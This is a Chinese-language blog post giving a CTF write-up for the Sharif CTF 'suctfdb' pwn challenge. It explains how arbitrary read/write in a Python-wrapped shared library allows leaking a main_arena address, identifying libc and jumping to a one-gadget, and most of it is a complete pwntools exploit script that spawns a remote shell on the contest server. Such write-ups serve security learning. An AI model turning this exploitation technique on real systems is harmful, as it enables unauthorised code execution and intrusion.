

# sharif ctf pwn suctfdb writeup

原创

[charlie\\_heng](#) 于 2018-02-04 20:17:31 发布 476 收藏

分类专栏: [pwn](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/charlie\\_heng/article/details/79254615](https://blog.csdn.net/charlie_heng/article/details/79254615)

版权



[pwn](#) 专栏收录该内容

26 篇文章 0 订阅

订阅专栏

这两天打了一下sharif ctf, 比赛平台居然在打着打着的时候被墙.....

这题一拿到的时候真的一脸懵逼, python??? so???

后面静下心来, 仔细看了下, 发现漏洞多得不得了。。。。

其实主要内存操作都在so里面, 所以结合着python代码和so来看就可以了

因为这题可以任意写db的内容, 所以可以实现, 写任意地址, 读任意地址, 控制流劫持

虽然有这么多东西, 但是利用起来还是有点麻烦的, 因为没给libc, 这个so也是pie的, 读不了got表里面的内容

这题创建完db之后, 可以选打印那个函数, 打印出一个地址, 那个地址是main arena的地址

所以首先是先写个leak函数, 把两个libc函数的地址给leak出来, 然后到<https://libc.blukat.me/>查libc的版本, 然后就可以下载到libc, 然后再利用one gadget这个工具找出magic number, 跳转到libc基址加magic number的地址就可以get到shell了, 因为这个one gadget还有些条件限制....所以会造成本地get不到shell, 但是在服务器就get到shell的现象.....

下面就是利用的代码, 每个人的环境不同, 可能需要改一些值

```
from pwn import *

debug=0
if debug:
    p=process('./server.py')
    offset=0x399
    system_offset=0x3f450
    oneget_offset=0x3f32a
else:
    p=remote('ctf.sharif.edu', 22106)
    offset=0x3c4
    system_offset=0x45390
    oneget_offset=0x45216

#gdb.attach(proc.pidof(p)[0])
#context.log_level='debug'

def create_db(id,tag,length):
    p.recvuntil('Exit')
    p.sendline(str(id))
```

```

sleep(0.1)
p.sendline(tag)
sleep(0.1)
p.sendline(str(length))

def edit_db(index,pay):
    p.sendline('2')
    p.recvuntil('Which one to edit:')
    p.sendline(str(index))
    sleep(0.1)
    p.sendline(pay)
    p.recvuntil('Exit\n')

def print_db(index):
    p.sendline('3')
    p.recvuntil('Which')
    p.sendline(str(index))
    p.recvuntil('seq')
    data=p.recvuntil('1.')
    data=data[:-3]
    return data

def delete_db():
    p.sendline('4')
    p.recvuntil('menu>')

def run_method():
    p.sendline('5')

def leak(addr):
    edit_db(1,'1'*0x10+p64(0)+p64(addr))
    data=print_db(2)
    dindex=data.index('seq:')+5
    data=data[dindex:]
    if(len(data)==0):
        remain=p.recvrepeat(0.1)
        return '\x00'
    remain=p.recvrepeat(0.01)
    return data

raw_input()
create_db(1,'2',3)
sleep(0.1)
p.sendline('1')
sleep(0.1)
p.recvuntil('Exit')
main_arena=print_db(2)
mindex=main_arena.index('seq:')+5
main_arena=main_arena[mindex:mindex+6]+'*\x00'*(8-6)
main_arena=struct.unpack('<Q',main_arena)[0]

print(hex(main_arena))
raw_input()
d1=leak(main_arena-0x88)
print(d1)
d1=struct.unpack('<Q',d1+'*\x00\x00')[0]
print(hex(d1))

```

```
print(hex(d1))

edit_db(1, '/bin/sh;' + p64(1) + p64(0) + p64(main_arena - 0x40) + p64(8))
edit_db(2, '/bin/sh;')

main_arena = main_arena - main_arena % 0x1000
base = main_arena - offset * 0x1000

print(hex(base))
#d = DynELF(leak, d1)
#system = d.lookup('system', 'libc')

edit_db(1, '/bin/sh;' + p64(0) * 4 + p64(oneget_offset + base))
run_method()
p.interactive()
```